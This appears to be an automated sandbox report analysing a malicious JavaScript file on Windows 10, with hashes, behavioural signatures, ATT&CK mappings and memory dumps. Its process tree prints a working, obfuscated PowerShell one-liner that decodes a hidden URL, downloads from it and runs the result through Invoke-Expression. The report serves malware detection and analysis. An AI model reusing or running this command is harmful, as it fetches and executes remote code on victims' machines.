66201c1ee264e3cba2f020adcc988bd8b9d521be1ae86122bef958fec366bf09

Analysis

max time kernel
96s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:03

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General

Target

47f5066d56405ce742ca51bf7b08c57ae3162d1e71a37377622d80b2cfa4e270.js
Size

260KB
MD5

4428460474aab08080959201f4c92e49
SHA1

c886dbdf025873eaa6fea622bc9f07cbdcb32ec8
SHA256

47f5066d56405ce742ca51bf7b08c57ae3162d1e71a37377622d80b2cfa4e270
SHA512

2e1a1152dbefa9921f5e103475ae703f47638689a5b5d8b5d8e7fc326bafc51adec911540b9f6e75520c1e0a1cd60ffa5c0f9fc855226bf5c4a33e042f890f37
SSDEEP

1536:nwThJnwjid8P1B8hDG6R1mnNX7kyTknlPnwjid8P1B8hDp6R1mnNX7kyTknl46Rc:nomlTs3flTs8lTsGNT

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	3240	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2152	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2152	powershell.exe
2152	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 2152	2056	conhost.exe	84
PID 2056 wrote to memory of 2152	2056	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\47f5066d56405ce742ca51bf7b08c57ae3162d1e71a37377622d80b2cfa4e270.js
1⤵
PID:32

C:\Windows\system32\conhost.exe
conhost --headless powershell $gyxqsmtrnkudzh='ur' ;new-alias printout c$($gyxqsmtrnkudzh)l;$rscmbkxtdegiow=(8166,8177,8185,8169,8171,8166,8186,8185,8190,8123,8185,8119,8166,8114,8184,8179,8180,8115,8117,8114,8180,8172,8180,8131,8183,8129,8177,8173,8178,8184,8183,8118,8117);$jcoxmfvp=('bronx','get-cmdlet');$vimocyzjq=$rscmbkxtdegiow;foreach($hixauyglwq in $vimocyzjq){$rbywjlumoak=$hixauyglwq;$esvtzwnrxmqya=$esvtzwnrxmqya+[char]($rbywjlumoak-8068);$crzqxjmygtob=$esvtzwnrxmqya; $lqwhjpz=$crzqxjmygtob};$gsdmpxnlbifuh[2]=$lqwhjpz;$funlkjcv='rl';$esdcbkxoajtgyn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $lqwhjpz)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $gyxqsmtrnkudzh='ur' ;new-alias printout c$($gyxqsmtrnkudzh)l;$rscmbkxtdegiow=(8166,8177,8185,8169,8171,8166,8186,8185,8190,8123,8185,8119,8166,8114,8184,8179,8180,8115,8117,8114,8180,8172,8180,8131,8183,8129,8177,8173,8178,8184,8183,8118,8117);$jcoxmfvp=('bronx','get-cmdlet');$vimocyzjq=$rscmbkxtdegiow;foreach($hixauyglwq in $vimocyzjq){$rbywjlumoak=$hixauyglwq;$esvtzwnrxmqya=$esvtzwnrxmqya+[char]($rbywjlumoak-8068);$crzqxjmygtob=$esvtzwnrxmqya; $lqwhjpz=$crzqxjmygtob};$gsdmpxnlbifuh[2]=$lqwhjpz;$funlkjcv='rl';$esdcbkxoajtgyn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $lqwhjpz)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3isud1w.ydb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2152-0-0x00007FF8C10F3000-0x00007FF8C10F5000-memory.dmp

Filesize
8KB

Download
memory/2152-10-0x000001B62DE00000-0x000001B62DE22000-memory.dmp

Filesize
136KB

Download
memory/2152-11-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-12-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-13-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-14-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-15-0x00007FF8C10F3000-0x00007FF8C10F5000-memory.dmp

Filesize
8KB

Download
memory/2152-16-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-19-0x00007FF8C10F0000-0x00007FF8C1BB1000-memory.dmp

Filesize
10.8MB

Download